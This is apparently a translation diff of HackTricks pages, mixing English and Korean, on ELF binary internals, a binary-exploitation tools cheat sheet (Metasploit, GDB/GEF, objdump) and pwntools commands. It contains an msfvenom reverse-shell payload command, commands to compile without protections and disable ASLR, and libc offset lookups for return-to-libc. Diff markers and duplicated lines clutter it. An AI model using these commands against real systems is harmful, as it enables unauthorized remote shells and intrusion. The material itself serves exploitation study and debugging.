- **문자열 테이블**: ELF 파일에 필요한 모든 문자열을 포함하고 있습니다(하지만 프로그램에서 실제로 사용되는 문자열은 아닙니다). 예를 들어, `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 문자열 테이블에서 `.text`가 오프셋 45에 있다면 **이름** 필드에 숫자 **45**를 사용합니다.
- 문자열 테이블이 어디에 있는지 찾기 위해 ELF는 문자열 테이블에 대한 포인터를 포함합니다.
- **심볼 테이블**: 이름(문자열 테이블의 오프셋), 주소, 크기 및 심볼에 대한 추가 메타데이터와 같은 심볼에 대한 정보를 포함합니다.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### 주요 섹션
### Main Sections
- **`.text`**: 실행할 프로그램의 명령어입니다.
- **`.data`**: 프로그램에서 정의된 값을 가진 전역 변수입니다.
- **`.bss`**: 초기화되지 않은 전역 변수(또는 0으로 초기화됨). 여기의 변수는 자동으로 0으로 초기화되므로 이진 파일에 쓸모없는 0이 추가되는 것을 방지합니다.
- **`.rodata`**: 상수 전역 변수(읽기 전용 섹션)입니다.
- **`.tdata`** 및 **`.tbss`**: 스레드 로컬 변수가 사용될 때 .data 및 .bss와 같습니다(`__thread_local` in C++ 또는 `__thread` in C).
- **`.dynamic`**: 아래를 참조하십시오.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## 심볼
심볼은 프로그램 내의 명명된 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다.
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
각 심볼 항목은 다음을 포함합니다:
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **이름**
- **바인딩 속성** (약한, 로컬 또는 전역): 로컬 심볼은 프로그램 자체에서만 접근할 수 있으며, 전역 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 예를 들어 다른 함수에 의해 재정의될 수 있는 함수입니다.
- **유형**: NOTYPE (유형 지정되지 않음), OBJECT (전역 데이터 변수), FUNC (함수), SECTION (섹션), FILE (디버거용 소스 코드 파일), TLS (스레드 로컬 변수), GNU_IFUNC (재배치를 위한 간접 함수)
- **섹션** 인덱스 (위치)
- **값** (메모리 내 주소)
- **크기**
## 동적 섹션
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
NEEDED 디렉토리는 프로그램이 계속 진행하기 위해 **언급된 라이브러리를 로드해야 함**을 나타냅니다. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 사용 준비가 되었을 때** 완료됩니다.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
로더는 또한 로드한 후 종속성을 재배치해야 합니다. 이러한 재배치는 REL 또는 RELA 형식의 재배치 테이블에 표시되며, 재배치 수는 동적 섹션 RELSZ 또는 RELASZ에 제공됩니다.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### 정적 재배치
### Static Relocations
프로그램이 **선호하는 주소**(보통 0x400000)와 다른 위치에 로드되면(주소가 이미 사용 중이거나 **ASLR** 또는 기타 이유로), 정적 재배치가 **포인터를 수정**하여 이진 파일이 선호하는 주소에 로드될 것으로 예상했던 값을 수정합니다.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
예를 들어, `R_AARCH64_RELATIV` 유형의 섹션은 재배치 편향에 추가 값(addend value)을 더한 주소를 수정해야 합니다.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
### 동적 재배치 및 GOT
### Dynamic Relocations and GOT
재배치는 외부 기호(종속성의 함수와 같은)를 참조할 수도 있습니다. 예를 들어, libC의 malloc 함수입니다. 그런 다음 로더는 libC를 로드할 때 malloc 함수가 로드된 주소를 확인하고, 이 주소를 GOT(전역 오프셋 테이블) 테이블(재배치 테이블에 표시됨)에 기록합니다. 여기서 malloc의 주소가 지정되어야 합니다.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
### 프로시저 링크 테이블
### Procedure Linkage Table
PLT 섹션은 지연 바인딩을 수행할 수 있게 해주며, 이는 함수의 위치 해석이 처음 접근할 때 수행된다는 것을 의미합니다.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치(`malloc@plt`)를 호출합니다. 처음 호출될 때 `malloc`의 주소를 해석하고 저장하므로 다음에 `malloc`이 호출될 때는 PLT 코드 대신 그 주소가 사용됩니다.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
## 프로그램 초기화
프로그램이 로드된 후 실행할 시간입니다. 그러나 실행되는 첫 번째 코드는 **항상 `main`** 함수가 아닙니다. 예를 들어 C++에서 **전역 변수가 클래스의 객체인 경우**, 이 객체는 main이 실행되기 **전에** **초기화**되어야 합니다.
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
이러한 전역 변수는 `.data` 또는 `.bss`에 위치하지만, `__CTOR_LIST__``__DTOR_LIST__` 목록에는 초기화 및 소멸할 객체가 저장되어 이들을 추적할 수 있습니다.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
C 코드에서는 GNU 확장을 사용하여 동일한 결과를 얻을 수 있습니다:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
컴파일러 관점에서, `main` 함수가 실행되기 전과 후에 이러한 작업을 실행하기 위해 `init` 함수와 `fini` 함수를 생성할 수 있으며, 이는 동적 섹션에서 **`INIT`** 및 **`FIN`**으로 참조됩니다. 그리고 ELF의 `init``fini` 섹션에 배치됩니다.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
언급된 다른 옵션은 동적 섹션의 **`INIT_ARRAY`** 및 **`FINI_ARRAY`** 항목에서 **`__CTOR_LIST__`** 및 **`__DTOR_LIST__`** 목록을 참조하는 것이며, 이들의 길이는 **`INIT_ARRAYSZ`** 및 **`FINI_ARRAYSZ`**로 표시됩니다. 각 항목은 인수 없이 호출될 함수 포인터입니다.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
또한 **`PREINIT_ARRAY`**를 가질 수 있으며, 이는 **`INIT_ARRAY`** 포인터가 실행되기 **전**에 실행될 **포인터**를 포함합니다.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### 초기화 순서
### Initialization Order
1. 프로그램이 메모리에 로드되고, 정적 전역 변수가 **`.data`**에서 초기화되며, 초기화되지 않은 변수는 **`.bss`**에서 0으로 설정됩니다.
2. 프로그램 또는 라이브러리에 대한 모든 **종속성**이 **초기화**되고 **동적 링크**가 실행됩니다.
3. **`PREINIT_ARRAY`** 함수가 실행됩니다.
4. **`INIT_ARRAY`** 함수가 실행됩니다.
5. **`INIT`** 항목이 있으면 호출됩니다.
6. 라이브러리인 경우, dlopen이 여기서 끝나고, 프로그램인 경우 **실제 진입점**(`main` 함수)을 호출할 시간입니다.
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## 스레드 로컬 저장소 (TLS)
## Thread-Local Storage (TLS)
C++에서 **`__thread_local`** 키워드를 사용하거나 GNU 확장 **`__thread`**를 사용하여 정의됩니다.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
각 스레드는 이 변수에 대해 고유한 위치를 유지하므로 오직 해당 스레드만 자신의 변수를 접근할 수 있습니다.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
이것이 사용될 때 ELF에서 **`.tdata`** 및 **`.tbss`** 섹션이 사용됩니다. 이는 TLS를 위한 `.data` (초기화됨) 및 `.bss` (초기화되지 않음)와 유사합니다.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
각 변수는 TLS 헤더에 크기와 TLS 오프셋을 지정하는 항목을 가지며, 이는 스레드의 로컬 데이터 영역에서 사용할 오프셋입니다.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
`__TLS_MODULE_BASE`는 스레드 로컬 저장소의 기본 주소를 참조하는 데 사용되는 기호이며, 모듈의 모든 스레드 로컬 데이터를 포함하는 메모리 영역을 가리킵니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
### 셸코드
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### 설치
```bash
apt-get install gdb
```
### Parameters
### 매개변수
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
### 지침
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
더 흥미로운 지침이 포함된 [**이 GE의 포크**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef)를 선택적으로 사용할 수 있습니다.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB same addresses
#### GDB 동일 주소
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
디버깅 중 GDB는 **실행될 때 바이너리에서 사용되는 주소와 약간 다른 주소를 가집니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행하십시오:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _바이너리의 절대 경로를 입력하세요_
- 동일한 절대 경로를 사용하여 바이너리를 익스플로잇합니다.
- GDB를 사용할 때와 바이너리를 익스플로잇할 때 `PWD``OLDPWD`는 동일해야 합니다.
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### 호출된 함수 찾기 위한 백트레이스
**정적으로 링크된 바이너리**가 있을 때 모든 함수는 바이너리에 속하며(외부 라이브러리에 속하지 않음) 이 경우 **바이너리가 사용자 입력을 요청하는 흐름을 식별하기 어려울 수 있습니다.**\
이 흐름은 **gdb**로 바이너리를 실행하여 입력을 요청할 때까지 쉽게 식별할 수 있습니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인하십시오:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB 서버
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로를 입력해야 하고 Windows 머신에서도 마찬가지입니다)
## Ghidra
### Find stack offset
### 스택 오프셋 찾기
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
**Ghidra****로컬 변수의 위치에 대한 정보 덕분에 버퍼 오버플로우에 대한 **오프셋**을 찾는 데 매우 유용합니다.**\
예를 들어, 아래 예제에서 `local_bc`의 버퍼 흐름은 `0xbc`의 오프셋이 필요함을 나타냅니다. 또한, `local_10`이 카나리 쿠키인 경우, `local_bc`에서 이를 덮어쓰려면 `0xac`의 오프셋이 필요함을 나타냅니다.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
모든 실행된 opcode를 프로그램에서 가져옵니다.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 없이 컴파일\
&#xNAN;**-o** --> 출력\
&#xNAN;**-g** --> 코드 저장 (GDB가 볼 수 있음)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> 리눅스에서 ASLR 비활성화
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**쉘코드를 컴파일하려면:**\
**nasm -f elf assembly.asm** --> ".o" 반환\
**ld assembly.o -o shellcodeout** --> 실행 가능
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**-d** --> **실행 파일** 섹션을 **디스어셈블** (컴파일된 쉘코드의 opcodes 보기, ROP Gadgets 찾기, 함수 주소 찾기...)\
&#xNAN;**-Mintel** --> **Intel** 구문\
&#xNAN;**-t** --> **기호** 테이블\
&#xNAN;**-D** --> **모두 디스어셈블** (정적 변수의 주소)\
&#xNAN;**-s -j .dtors** --> dtors 섹션\
&#xNAN;**-s -j .got** --> got 섹션\
-D -s -j .plt --> **plt** 섹션 **디컴파일**\
&#xNAN;**-TR** --> **재배치**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정할 "puts"의 주소\
**objdump -D ./exec | grep "VAR_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행
2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행
3. sudo gdb --core=\<path/core> --quiet
## More
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd executable | grep libc.so.6** --> 주소 (ASLR가 활성화된 경우 매번 변경됨)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 주소가 많이 변경되는지 확인하기 위한 루프\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace executable** --> 실행 파일에 의해 호출된 함수\
**rabin2 -i ejecutable -->** 모든 함수의 주소
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### 원격 리눅스에서 디버깅
IDA 폴더 안에는 리눅스에서 바이너리를 디버깅하는 데 사용할 수 있는 바이너리가 있습니다. 그렇게 하려면 `linux_server` 또는 `linux_server64` 바이너리를 리눅스 서버 안으로 이동시키고 바이너리가 포함된 폴더 안에서 실행하세요:
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
그런 다음 디버거를 구성합니다: Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
라인이나 파일에서 **opcodes**를 가져옵니다.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**선택할 수 있는 항목:**
**Can select:**
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
- 출력 유형 (raw, hex, string, elf)
- 출력 파일 컨텍스트 (16, 32, 64, linux, windows...)
- 피할 바이트 (새 줄, null, 목록)
- gdb를 사용하여 디버그 셸코드를 선택하고 출력을 실행
## **Pwn checksec**
Checksec script
Checksec 스크립트
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
패턴 가져오기
```
pwn cyclic 3000
pwn cyclic -l faad
```
**선택할 수 있는 항목:**
**Can select:**
- 사용된 알파벳(기본적으로 소문자 문자)
- 고유 패턴의 길이(기본값 4)
- 컨텍스트(16,32,64,linux,windows...)
- 오프셋 가져오기(-l)
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
## Pwn debug
Attach GDB to a process
## Pwn 디버그
프로세스에 GDB 연결
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**선택할 수 있습니다:**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- 실행 파일, 이름 또는 pid 컨텍스트(16,32,64,linux,windows...)
- 실행할 gdbscript
- sysrootpath
## Pwn disablenx
Disable nx of a binary
바이너리의 nx 비활성화
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
Hex opcode를 디스어셈블합니다.
```
pwn disasm ffe4
```
**선택할 수 있습니다:**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- 컨텍스트 (16,32,64,linux,windows...)
- 기본 주소
- 색상(기본)/무색
## Pwn elfdiff
Print differences between 2 files
두 파일 간의 차이를 출력합니다.
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
16진수 표현 얻기
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
hexdump 가져오기
```
pwn phd <file>
```
